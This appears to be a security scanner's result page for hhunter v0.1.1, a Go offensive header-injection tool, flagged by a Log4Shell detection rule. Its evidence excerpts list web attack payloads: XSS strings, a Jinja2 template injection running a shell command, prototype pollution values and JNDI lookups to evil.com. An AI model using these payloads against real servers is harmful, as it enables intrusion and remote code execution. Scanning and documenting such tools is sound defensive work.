github.com/cc1a2b/hhunter v0.1.1
Self-updating offensive security tool
Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228Detects obfuscated indicators in server logs that indicate an exploitation attempt of CVE-2021-44228
SHA-25610f5973589d9031ba99946b86a14c81506ed77868803772838653edda32a5c8c
Evidence
1package headers
2
3import "github.com/cc1a2b/HHunter/engine"
4
5func GetInjectionMutations() []engine.Mutation {
6 return []engine.Mutation{
7 // ===================================================================
8 // XSS — Reflected via Header Values
9 // ===================================================================
10 {Header: "X-Custom-Header", Value: `<script>alert(1)</script>`, Category: "Injection", Impact: "Reflected XSS via Header"},
11 {Header: "X-Custom-Header", Value: `'"><img src=x onerror=alert(1)>`, Category: "Injection", Imp …
37:61… ory: "Injection", Impact: "SSTI Velocity Assign"},
38
39 // Jinja2 RCE (Python)
40 {Header: "X-Custom-Header", Value: "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}", Category: " …
82:100… ection", Impact: "Prototype Pollution via Header"},
83 {Header: "Content-Type", Value: "application/json;__proto__[polluted]=true", Category: "Injection", Impact: "Prototype Pollution Content-Type"},
84 {Header: "X-Custom-Header", Va …
102:3… // ===================================================================
103 // Basic protocols
104 {Header: "X-Api-Version", Value: "${jndi:ldap://evil.com/a}", Category: "Injection", Impact: "Log4Shell LDAP via Header"},
105 {Header: "X-Forwarded-For", Value: "${jndi:ldap://evil.com/a}", Category: "Injection", Impact: "Log4Shell via XFF"},
106 {Header: "Accept-Language", Value: "${jndi:ldap://evil.com/ …
179:104… ��──────
180[!] Finding #1
181 Header: X-Forwarded-For
182 Payload: 127.0.0.1
183 Impact: IP Whitelist Bypass
184 Category: Proxy
185 Severity: Critical
⋯12 lines
Showing the top 5 files — 7 more files (46 regions) not shown.
No evidence locations were recorded for this file. Raw result